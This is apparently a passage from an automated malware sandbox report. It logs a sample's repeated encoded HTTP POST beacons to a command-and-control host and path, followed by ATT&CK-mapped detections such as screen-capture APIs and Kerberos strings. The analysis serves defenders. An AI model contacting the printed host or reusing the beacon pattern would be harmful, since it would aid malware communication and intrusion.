Connection: keep-alive Keep-Alive: timeout=10 with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343035204E6F7420416C6C6F7765643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C6365....... "POST /pipe_MultiLinuxflowertesttemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: nico59edge.temp.swtest.ru Content-Length: 332 Connection: Keep-Alive" with payload::==> "UYTSRTRSTR\L~k^r`\mLb[|kUb^cRhhcwYlRQxNq^nwP`^s_u~V@@xS~y\_^cxORlAiQ|t}_{nko\qcigdQksuzM|OjbxXuty@y_yqX^[z[F^}fqAw_{{_yF{Yv@{XZQ|^{Y^n" HTTP/1.1 405 Not Allowed Server: nginx/1.27.4 Date: Sun 22 Mar 2026 17:40:08 GMT Content-Type: text/html Content-Length: 559 Connection: keep-alive Keep-Alive: timeout=10 with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343035204E6F7420416C6C6F7765643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C6365....... "POST /pipe_MultiLinuxflowertesttemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: nico59edge.temp.swtest.ru Content-Length: 336 Connection: Keep-Alive" with payload::==> "WRZVQ]URQQ\L~kY}[tr[bepB|liOw|p|c_{R{xYu[kpAtgQ_ju~V@x}\O~ey{^sPBUU}YhB}dzlCsJ{Ld|bcjgwBh`TUnc`}a|p^GQ{aquXh[|[x^|qqtrYJ|Oy{ZzJXRO|c{q\W_p[" HTTP/1.1 405 Not Allowed Server: nginx/1.27.4 Date: Sun 22 Mar 2026 17:40:19 GMT Content-Type: text/html Content-Length: 559 Connection: keep-alive Keep-Alive: timeout=10 with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343035204E6F7420416C6C6F7765643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C6365....... "POST /pipe_MultiLinuxflowertesttemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: nico59edge.temp.swtest.ru Content-Length: 344 Connection: Keep-Alive" with payload::==> "UQPQST_[ZVQW\L}UkpvOvbqvf`hRvYtB`L~p|oBQKzpzhS^Cvw`}e~V@z}~~by^}]x||p}pdBjYzxmV_ot|OdZ|glT^i@yc`rVwtyK}_WuX`~Kxy[qKp\U\a|pz[pKz]Uu\iwfqx\yVi" HTTP/1.1 405 Not Allowed Server: nginx/1.27.4 Date: Sun 22 Mar 2026 17:40:30 GMT Content-Type: text/html Content-Length: 559 Connection: keep-alive Keep-Alive: timeout=10 with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343035204E6F7420416C6C6F7765643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C6365....... "POST /pipe_MultiLinuxflowertesttemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: nico59edge.temp.swtest.ru Content-Length: 336 Connection: Keep-Alive" with payload::==> "TUVS\V\\QT\L}Rk`e\`L}alRaOtR^hM`{|gzp~Tpwdw^}u~V@xmT~Oy{YgRhR|A~kPiwmYoSZY{qhha`^}dpP|YjRycR~btFp^GQ{quvvV[|[x^|qqtbQ}ey{ZzJX^@}MgGq\W_p[" HTTP/1.1 405 Not Allowed Server: nginx/1.27.4 Date: Sun 22 Mar 2026 17:40:34 GMT Content-Type: text/html Content-Length: 559 Connection: keep-alive Keep-Alive: timeout=10 with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343035204E6F7420416C6C6F7765643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C6365....... "POST /pipe_MultiLinuxflowertesttemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: nico59edge.temp.swtest.ru Content-Length: 344 Connection: Keep-Alive" with payload::==> "SWRR]TQPQZRP\L~@h`z@`qv[sRouO`lZ`_{|x_ocjK|}sRtg]]je~V@{Sbri^}]xooTjYd|ty^zn{{h|q^YjI^Ps}AmMQ]qcXctyK}_WvfR}Kxy[qKp\U|bS}pz[pKz]Uvb[vfqx\yVi" HTTP/1.1 405 Not Allowed Server: nginx/1.27.4 Date: Sun 22 Mar 2026 17:40:40 GMT Content-Type: text/html Content-Length: 559 Connection: keep-alive Keep-Alive: timeout=10 with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343035204E6F7420416C6C6F7765643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C6365....... "POST /pipe_MultiLinuxflowertesttemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: nico59edge.temp.swtest.ru Content-Length: 344 Connection: Keep-Alive" with payload::==> "RRWQWQSRVP^VP\L~NTt\P_utBkoz\cXkc`x|s{~SsSws[i_~V@{mfbi^}]{RU`@jcxiYm_{StYl\xFk_^Z~gUh^bQm`cX~rxw^yK}_WvvZ}Kxy[qKp\U|r[}pz[pKz]UvrSvfqx\yVi" HTTP/1.1 405 Not Allowed Server: nginx/1.27.4 Date: Sun 22 Mar 2026 17:40:51 GMT Content-Type: text/html Content-Length: 157 Connection: keep-alive Keep-Alive: timeout=10 with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343035204E6F7420416C6C6F7765643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C6365....... "POST /pipe_MultiLinuxflowertesttemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: nico59edge.temp.swtest.ru Content-Length: 344 Connection: Keep-Alive" with payload::==> "TPRW\L~Ccvw}besSkRSw|tk]pllgHzs}^SZcg`Nu~V@AxCTA~L}^}]{Q}o`~pZ}gvClncK{rZFOkK|wpRhNbQ{`t~rx`NyK}_yIvHp}qxy[qKp\{I|Lq|`z[pKz]{JvLyw\qx\yVi" HTTP/1.1 405 Not Allowed Server: nginx/1.27.4 Date: Sun 22 Mar 2026 17:40:57 GMT Content-Type: text/html Content-Length: 559 Connection: keep-alive Keep-Alive: timeout=10 with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343035204E6F7420416C6C6F7765643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C6365....... "POST /pipe_MultiLinuxflowertesttemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: nico59edge.temp.swtest.ru Content-Length: 344 Connection: Keep-Alive" with payload::==> "TVYTSV\L~pfwLqufwRoeBwo^kptIxl^{`eZ|SsR`I|j_~V@@{}\~\W^}]x|owSj`V}gnxSJ{bc]hOZX~ts~`XTy`X~dc^yK}_uwfV|axy[qKp\w}bWpz[pKz]wwb_tfqx\yVi" HTTP/1.1 405 Not Allowed Server: nginx/1.27.4 Date: Sun 22 Mar 2026 17:41:04 GMT Content-Type: text/html Content-Length: 559 Connection: keep-alive Keep-Alive: timeout=10 with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343035204E6F7420416C6C6F7765643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C6365....... "POST /pipe_MultiLinuxflowertesttemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: nico59edge.temp.swtest.ru Content-Length: 344 Connection: Keep-Alive" with payload::==> "ZWQRRQY[PWT\L~^}_wrb\wut||zY`]M^Ixlw{^_YCR`ghAiO~V@z}fbi^}]xkBP~N`B~Y\{Skx\hk~ds`in`tB}b|vtyK}_avvd}Kxy[qKp\c|re}pz[pKz]cvrmvfqx\yVi" HTTP/1.1 405 Not Allowed Server: nginx/1.27.4 Date: Sun 22 Mar 2026 17:41:16 GMT Content-Type: text/html Content-Length: 559 Connection: keep-alive Keep-Alive: timeout=10 with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343035204E6F7420416C6C6F7765643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C6365....... "POST /pipe_MultiLinuxflowertesttemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: nico59edge.temp.swtest.ru Content-Length: 344 Connection: Keep-Alive" with payload::==> "UPSSPYVP\L~^a\wuaKx@ko~\cltB~sxlldX{^rChcd|ju~V@@{}n~\i^}]{PB|@}^djde]xmYxrpHhkK|woAk`yz]xa`c^yK}_uvXd}Kxy[qKp\w|\e}pz[pKz]wv\mvfqx\yVi" HTTP/1.1 405 Not Allowed Server: nginx/1.27.4 Date: Sun 22 Mar 2026 17:41:27 GMT Content-Type: text/html Content-Length: 157 Connection: keep-alive Keep-Alive: timeout=10 with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343035204E6F7420416C6C6F7765643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C6365....... "POST /pipe_MultiLinuxflowertesttemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: nico59edge.temp.swtest.ru Content-Length: 344 Connection: Keep-Alive" with payload::==> "P[SRVVP\L}UpyZt[}wfpk|T\`lQ\kZcZolclz}}wRwYZe~V@z}zAry^}]xRcQj`VBjIn{SVYo\sYhwJi^`R^rPz]|}LgXw^yK}_iuHp~Kxy[qKp\kLq|pz[pKz]kuLywfqx\yVi" HTTP/1.1 405 Not Allowed Server: nginx/1.27.4 Date: Sun 22 Mar 2026 17:41:38 GMT Content-Type: text/html Content-Length: 157 Connection: keep-alive Keep-Alive: timeout=10 with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343035204E6F7420416C6C6F7765643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C6365....... "POST /pipe_MultiLinuxflowertesttemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: nico59edge.temp.swtest.ru Content-Length: 344 Connection: Keep-Alive" with payload::==> "TTWTPT\L~@h`PMvriMa\Qev|ZLps[llx_{NPJ~htIxLi_~V@x}z~bi^}]{QkBwP~`pjISYlCY{L`hO|_~YZT|Nez]xMiapwtyK}_SDuHV}Kxy[qKp\QDLW}pz[pKz]QGuL_vfqx\yVi" HTTP/1.1 405 Not Allowed Server: nginx/1.27.4 Date: Sun 22 Mar 2026 17:41:49 GMT Content-Type: text/html Content-Length: 157 Connection: keep-alive Keep-Alive: timeout=10 with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343035204E6F7420416C6C6F7765643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C6365....... "POST /pipe_MultiLinuxflowertesttemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: nico59edge.temp.swtest.ru Content-Length: 344 Connection: Keep-Alive" with payload::==> "PUYPPZTQPQZ_S\L}Sh`u\`byaKlkU~Xt|]^h]poBoHxuYS|vgZA~_~V@zmfL~\}^}]{S}lZ~YkRjd}_z}wyrcYOt^iwlT~siystOjasXvdyK}_Svv|}qxy[qKp\Q|r}|`z[pKz]Qvruw\qx\yVi" HTTP/1.1 405 Not Allowed Server: nginx/1.27.4 Date: Sun 22 Mar 2026 17:41:57 GMT Content-Type: text/html Content-Length: 157 Connection: keep-alive Keep-Alive: timeout=10 with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343035204E6F7420416C6C6F7765643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C6365.......5d:T69e,"\", Potential IP \"4.0.0.0\" found in string \"=4.0.0.0\", Potential IP \"4.0.0.0\" found in string \"*n=4.0.0.0\n CPZ\", Potential IP \"4.0.0.0\" found in string \"*n=4.0.0.0\n C0Z\", Potential IP \"4.0.0.0\" found in string \"4.0.0.0\n Culture\\\", Potential IP \"4.0.0.0\" found in string \"*n=4.0.0.0\n CT8]\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"69c02914c62d949aae059b5c"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"69c02914c62d949aae059b5c"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$50","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"69c02914c62d949aae059b5c"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"nico59edge.temp.swtest.ru\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"69c02914c62d949aae059b5c"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on process \"00000000-00002220\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"69c02914c62d949aae059b5c"}]},{"level":"informative","category":"Remote Access Related","name":"Able to modify Remote Configuration","description":"Found string \"System.Runtime.Remoting\" (Source: \"00000000-00003476.00000000.220824.00DA2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1021","relevance":1,"id":"string-940","sources":[{"report_type":"sandbox","report_id":"69c02914c62d949aae059b5c"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"$51","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"69c02914c62d949aae059b5c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00002220.00000000.221406.025C2000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"69c02914c62d949aae059b5c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"Found reference to API \"BitBlt\" (Indicator: \"BitBlt\"; File: \"2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin\")\n Found reference to API \"CreateDC\" (Indicator: \"CreateDC\"; File: \"2e1d907e37b117a8adc91bb4d2959a202ff5125337f5191192253fa96ba0edda.bin\")\n Found reference to API \"BitBlt\" (Indicator: \"BitBlt\"; Source: \"00000000-00003476.00000000.220824.00DA2000.00000002.mdmp\")\n Found reference to API \"CreateDC\" (Indicator: \"CreateDC\"; Source: \"00000000-00003476.00000000.220824.00DA2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"69c02914c62d949aae059b5c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to perform SQL operations","description":"Found string \"\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00001772.00000000.222665.029D0000.00000004.mdmp, 00000000-00001772.00000001.222683.029D0000.00000004.mdmp\")\n Found string \"\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00002220.00000000.221406.025C2000.00000004.mdmp\")\n Found string \"rity=SSPI;AttachDBFilename=|DataDirectory|aspnetdb.mdf;User Instance=true\" providerName=\"System.Data.SqlClient\"/>\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00002220.00000000.221406.025C2000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":3,"id":"string-836","sources":[{"report_type":"sandbox","report_id":"69c02914c62d949aae059b5c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve running process details (.NET)","description":"Found string \"get_ProcessName\" (Source: \"00000000-00003476.00000000.220824.00DA2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-931","sources":[{"report_type":"sandbox","report_id":"69c02914c62d949aae059b5c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to read volume data via DOS device path","description":"\"